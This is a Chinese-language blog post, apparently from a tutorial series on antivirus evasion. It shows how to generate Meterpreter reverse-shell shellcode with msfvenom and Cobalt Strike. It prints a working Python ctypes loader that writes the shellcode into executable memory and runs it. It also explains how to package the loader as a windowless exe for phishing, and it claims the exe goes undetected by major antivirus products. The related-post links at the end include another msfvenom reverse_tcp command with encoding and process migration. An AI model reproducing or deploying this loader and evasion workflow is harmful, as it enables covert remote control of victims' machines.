木马免杀(篇二)shellcode 学习

4.1 MSF 制作shellcode,且运行 msf shellcode 阅读详情
AI摘要

本文介绍了shellcode的基本概念,作为利用软件漏洞执行的机器码,以及获取shell接口的过程。重点讲解了如何通过工具生成shellcode,使用Python编写加载器执行shellcode,以及如何通过较少人使用的编程语言进行免杀。,

木马免杀(篇二)shellcode 学习

——

shellcode介绍

shellcode 是一段利用软件漏洞进行执行的机器码, 通常用汇编语言编写并被翻译为十六进制操作码,因常被攻击者用于获取系统的命令终端shell 接口,所以被称为 shellcode。

说到获取系统的命令终端shell 接口,shell 是操作系统中提供给用户用于内核交互执行任意系统命令的应用程序。
Windows操作系统中的shell 包括 命令提示符cmd 和 powershell 应用程序。
Linux操作系统中的 bash shell。比如我在 cmd 中执行 ipconfig 系统命令查看网络适配器信息(多用于查看IP)。获取到了 shell 接口就可以执行后续的任意系统命令了。
在这里插入图片描述

——

获取shellcode

一段shellcode 都有他的功能,比如执行弹计算器的功能、反弹shell 等等。

常见shellcode是一串十六进制机器码,常以字符串形式存储在数组类型的变量中。本质是一段汇编指令,要学习 shellcode 是怎么生成,即实现这些功能的shellcode 需要怎么写,涉及到新的领域,要学习汇编,进行编译汇编源码,提取出shellcode等步骤,会比较困难。

所以目前使用 shellcode 大多通过工具生成或网上写好了的。

网上的公开 shellcode 资源:

https://www.exploit-db.com/

在这里插入图片描述
cobaltstrike 工具生成 shellcode
在这里插入图片描述
选择监听器,选择不同语言的shellcode
在这里插入图片描述

msf 工具生成 shellcode
通过命令选择监听器和IP、端口等信息。
生成命令:

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c

得到的文件长这样,里面是一串十六进制字符串
在这里插入图片描述
这里只是举了cs和msf 生成的一个shellcode例子,还有其他的多种方式或格式,比如msf还有自带的对shellcode编码的功能。

——

如何执行shellcode?

一串 shellcode 不能直接在操作系统执行,需要通过编程语言进行加载、调用才能执行。像常见的C、C#、Java、python 都能实现。
每种语言对 shellcode 进行加载的方式都大同小异,包括申请内存、将shellcode 写入内存等步骤。所以得到一个加载器的概念,通过加载器可以实现说到的写入内存等功能。

这里学习使用python语言编写加载器执行 shellcode

python 编写 shellcode 加载器

这里用 cs 直接生成的 c 语言编写的 shellcode的一个片段展示:

\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48

使用 python 编写加载器执行 c 语言的 shellcode

import ctypes

buf=b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode=buf
shellcode = bytearray(shellcode)

kernel32 = ctypes.WinDLL('kernel32')
kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))
handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

加载器代码解读

将 shellcode 从一个字节串(bytes)对象转换为一个可变字节数组(bytearray)对象。

shellcode = bytearray(shellcode)

加载 kernel32.dll ,是 Windows 操作系统的核心动态链接库之一,包含了很多常用的系统函数。

kernel32 = ctypes.WinDLL('kernel32')

设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

kernel32.VirtualAlloc.restype=ctypes.c_unit64

调用 kernel32.dll 动态链接库的 VirtualAlloc 函数申请内存

ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)

里面 4 个参数的含义:
ctypes.c_int(0) 指向要分配的区域的起始地址的指针,值为null时指向系统保留其认为合适的区域

ctypes.c_int(len(shellcode)) 分配区域的大小
ctypes.c_int(0x3000) 内存分配的类型
ctypes.c_int(0x40) 要分配的页区域的内存保护,可读可写可执行

调用 kernel32.dll 动态链接库的 RtlMoveMemory 函数将 shellcode 移动到申请的内存中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))

三个参数含义:

ctypes.c_uint64(ptr) 指向要将字节复制到的目标内存块的指针
buffer 指向要从中复制字节的源内存块的指针
ctypes.c_int(len(shellcode)) 从源复制到目标的字节数

创建线程,从 shellcode 放置位置的首地址开扫执行 shellcode

handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

等待线程运行完

kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

直接运行上面的 python 代码就可以上线 cs 。
不过如果进行钓鱼的话可以打包成 exe 文件,不需要 python 环境的依赖。
——

打包成exe

pyinstaller -F 1.py -w --name test.exe --clean

-F 参数用于将所有生成的文件(包括依赖的库和资源)打包到一个单独的可执行文件中,而不是生成一个文件夹。
-w 参数用于在打包后隐藏控制台窗口,使得生成的可执行文件在运行时不显示命令行窗口。
–name 指定生成的文件名
–clean:在打包前先清理之前的临时文件。
–upx:使用UPX来压缩可执行文件,减小文件大小。
–icon:指定打包后exe文件的图标。图标文件应该是.ico格式。
–distpath选项指定输出路径

在dist 目录下得到 test.exe 文件。双击运行即可
在这里插入图片描述

结果这样没有任何处理火绒和360都不杀
2023.7
vt结果:
在这里插入图片描述
微步结果:
在这里插入图片描述
————

总结

进行免杀的一个方式其实就是编写一个加载器,包括现在从github上找比较新的免杀项目也是加载器的项目。这里用的 python 加载器也是很多之前网上就能找到的,但是看到截至到2023.7免杀效果都还是可观的。一个原因是用python 去免杀的比较少,主流应该是 c 语言的,用的人多了,免杀效果自然就没那么好了。所以用比较少人用的语言编写加载器也是一种免杀途径,那些杀软的木马病毒库还没有收录那些特征。

使用MSF生成shellcode 使用MSF生成shellcode payload和shellcode的区别 Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说,ShellCode就... 阅读详情

相关推荐

网络攻防技术——shellcode编写

一、题目 shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验室的目的是帮助学生理解这些技术,以便他们能够编写自己的shellcode。 编写shellcode有几个挑战,一个是确保二进制文件中没有0x00,另一个是找出命令中使用的数据的地址。第一个挑战不是很难解决,有几种方法可以解决它。第二个挑战

学习记录 3489

Shellcode详解

Shellcode是一种小巧、紧凑的机器代码,通常用于利用软件漏洞或注入攻击中。其名称来源于早期的黑客技术,其中的代码通常会启动一个命令行shell(如Bash或cmd),因此称为“shellcode”。不过,现在shellcode不仅仅用于启动shell,还可以执行各种恶意活动,如下载并执行恶意软件、修改系统设置等。

N阶二进制的博客 4517

MSF外网渗透+shellcode免杀

1. 内网穿透 使用的Sunny-Ngrok服务 。你在Sunny-Ngrok官网注册好后获得一条免费或付费的隧道,添加tcp通道,端口号自定。 官网链接:https://www.ngrok.cc/(Sunny-Ngrok服务 ) 在kali下安装Sunny-Ngrok的客户端,在该目录下启动Sunny-Ngrok。 2. 外网渗透 生成外网木马。注意这里的lhost和lport为赠送的域名和远程端口号: msfvenom -p windows/meterpreter/reverse_tcp lho

weixin_45605352的博客 5360

【网络资源学习笔记】ShellCode相关内容学习

个人shellcode相关网络资源学习记录

天在等我,菜鸟想飞 3187

Shellcode免杀,绕过360安全卫士、火绒安全、腾讯管家

前言 分享一个傻瓜式直接套用大佬的框架进行shellcode免杀,自己还是萌新还需要学习很多东西,大佬们不喜勿喷 杀毒原理 360、腾讯电脑管家、火绒剑、金山毒霸、瑞星等等,这几个杀毒软件领头羊,现在的杀毒软件都无法脱离三个部分,扫描器、病毒库、虚拟机。然而一个杀毒软件做的是否好用,最主要的还是扫描器的速度、准确率以及病毒库是否庞大。 1.基于特征码的静态扫描技术 这种技术很容易被人想到,所以第一代的杀毒软件出现了,他们的杀毒思想就是,我只要匹配到特征字符串就可以判断出来这个文件是一个病毒。但这种方法在当今

qq_1873822的博客 2万+

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务 弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代码,也可以被认为是一段Shellcode,同理,拿来干坏事的代码,也是Shellcode 如今的杀毒软件都拥有查杀病毒木马的能力,除了静态的查杀,还有动态的主动防御,若恶意代码片段(拿来干坏事的Shellcode)被杀软发现,则可以认为当前运行的程序是病毒木马或是被感染的文件,理应“杀掉” 有些时候,我们不想让自己写的代码被杀毒软件当

古月浪子的博客 7987

免杀入门---shellcode免杀

前言 本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。 基础概念 免杀 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。 杀毒软件工作原理 市面上的杀毒软件基本由扫描器、病毒特征库和虚拟机组成,它会把文件放在虚拟机内运行,扫描该文件的特征,包括静态特征、内存特征、行为特征等,通过和病毒特征库对比来判断一个文件是否为恶意文件。安全厂商一直在收集市面上出现的...

LvHLong的博客 6279

shellcode AV bypass Evasion免杀合集

360全家桶 360核晶引擎 网防G01 火绒 百度 腾讯 安全狗 金山 瑞星 江民 (iangMin) 江民科技—终端安全守护者 官网 (jiangmin.com) Kaspersky 卡巴斯基 针对于内存的查杀 企业版 易视诺德 它是迄今作为先进杀毒技术———启发式杀毒(Heuristic),最具准确高效的杀毒软件,国外很权威的防病毒软件评测给了NOD32很高的分数,在全球共获得超过40多个奖项 麦咖啡 AVG 科摩多 火眼 诺顿 启发式查杀很厉害,需要给木马加入正常程序的图标、版

aming小老弟 1626

Python shellcode免杀

Python shellcode免杀

qq_25761407的博客 6117

木马免杀代码之python反序列化分离免杀

Cryptography是python语言中非常著名的加解密库,在算法层面提供了高层次的抽象,使用起来非常简单、直观,同时还保留了各种不同算法的低级别接口,保留灵活性我们知道加密一般分为对称加密(Symmetric Key Encryption)和非对称加密(Asymmetric Key Encryption)。各自对应多种不同的算法,每种算法又有不同的密钥位长要求,另外还涉及到不同的分组加密模式,以及末尾补齐方式。

1458

Github多人协作

最近有门课程需要几个人一起开发一个项目,此前我们基本都是单干的,多人合作意味着需要及时将我们每个人的代码进行合并,U盘传文件这种方式太慢了,效率不行,而且没法解决两个人同时修改一个文件的问题,这次我们就尝试使用Github来协助开发。下面就来记录一下这次开发遇到的一些问题和解决的方法。 Git的安装 从官网下载最新版按照默认安装即可。 此处不多加说明。 Git常用命令 在此放上一...

yzr1216的博客 1万+

MSF木马的免杀(三)

目录 MSF木马的免杀 MSF木马的免杀 MSF下输入,生成免杀shellcode msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=x.x.x.x LPORT=8888 -e x86/shikata_ga_nai -i 15 -b '\x00\' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > shellcode.c 这

谢公子的博客 9863

Ollama本地大模型部署指南:从核心原理到实战避坑

大语言模型(LLM)作为人工智能领域的核心技术,通过海量数据训练获得强大的语言理解和生成能力。其工作原理基于Transformer架构,通过自注意力机制处理序列数据,在文本生成、代码编写和对话系统等场景展现出巨大价值。随着开源模型的普及,本地部署成为关注焦点,它解决了数据隐私和定制化需求,但面临环境配置和资源管理的挑战。Ollama作为开源工具,通过封装模型格式和统一API,简化了本地部署流程,支持GPU加速和性能调优,让开发者能够快速集成到IDE和自动化脚本中,实现高效的本地AI应用部署。

weixin_30915951的博客 452

木马免杀之各类免杀工具的使用

木马免杀之各类免杀工具的使用

没有网络安全就没有国家安全 1677

STM32H743VIT6最小系统板PCB设计全流程(AD09实战教程+封装库分享)

本文详细介绍了基于STM32H743VIT6高性能MCU的最小系统板PCB设计全流程。内容涵盖从项目规划、原理图设计到PCB布局布线的AD09实战操作,重点解析了高速电路设计中的电源、时钟、去耦等关键模块的处理要点与常见陷阱,并分享了经过验证的封装库资源,旨在为工程师提供一套完整、可靠的设计方法与实战参考。

weixin_29194693的博客 119

Oracle Linux中/var/log/pcp/pmlogger目录膨胀问题分析与解决

本文详细分析了Oracle Linux系统中/var/log/pcp/pmlogger目录异常膨胀的常见原因与解决方案。当PCP性能监控框架的pmlogger服务日志轮转或清理机制失效时,会导致该目录无限增长,威胁系统稳定。文章提供了从服务状态诊断、配置文件审查到安全清理与预防策略的全流程实战指南,帮助运维人员快速回收磁盘空间并恢复服务正常运行。

weixin_29208327的博客 372

木马免杀之利用shellcode生成木马

木马免杀之利用shellcode生成木马

没有网络安全就没有国家安全 1603

安装oracle 19c 报错INS-06006 INS-44000 INS-32070

数据库版本oracle 19c 操作系统版本:centos7.8 安装oracle19c RAC 配置互信的时候setup显示成功,点test的时候报错INS-44000,继续点yes 报错INS-32070,继续往下点 报错INS-06006 处理过程 1.手动ssh node date 全部成功说明互信时没有问题的 2.查mos 文档ID 2555697.1 如果OpenSSH升级到8.x会有这个问题 MOS上的解决办法 #ssh -V OpenSSH_8.0p1, OpenSSL 1.0.2r 2

cqszpx的博客 1528

木马免杀之MSFVenom制作木马

木马免杀之MSFVenom制作木马

没有网络安全就没有国家安全 4128

基于Keil软件实现OLED显示(江协科技HAL库)

没有HAL库的OLED驱动文件,可以看过来

2401_82728381的博客 1453

人工蜂鸟算法(AHA)详解:原理、实现与应用

人工蜂鸟算法(AHA)是一种受蜂鸟飞行技能和觅食策略启发的新型元启发式优化算法。该算法模拟蜂鸟的全向飞行、记忆能力和觅食行为,通过引导觅食、领地觅食和迁徙觅食三种策略在解空间高效搜索。AHA将优化问题解类比为食物源,蜂鸟作为搜索代理,利用访问表记录访问信息。算法核心包括三种飞行技能建模(全向、对角线和轴向飞行)以及对应的数学公式实现。Python实现展示了种群初始化、适应度计算和觅食行为模拟等关键步骤。AHA以其高效的全局搜索能力、良好收敛性和鲁棒性,在复杂优化问题中表现优异。

qq_42212808的博客 905

【渗透实战】木马免杀

base64 sgn编码。

logic1001的博客 1616

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

怎么生成木马_免杀系列CS木马shellcode分离免杀上线

10月13日CS木马shellcode分离免杀上线最近在学习CS怎么去免杀,今天来分享一下吧,反正有手就行呗0x00Article directory [目录结构]0x01 环境介绍0x02 插件部署0x03 改造流程0x04 测试效果0x05总结0x01环境介绍本次免杀所使用的是shellcode分离免杀技术CS版本:4.0语言:Golang插件:项目地址:http://gith...

weixin_39970668的博客 3732

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

C2免杀--手工shellcode编译,shellcode免杀思路

手工编译shellcode,以及shellcode和加载器的总体免杀思路

2302_79590880的博客 1466

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

木马免杀基础原理和代码实现

免杀技术全称为反杀毒技术(Anti Anti- Virus),简称“免杀”。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度比较高。

zhuge_long的专栏 2000
上一篇: 木马免杀(篇一)基础知识学习
下一篇: 木马免杀(篇三)静态免杀方法
Goodric
博客等级 码龄6年 792粉丝 110原创
评论 6
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值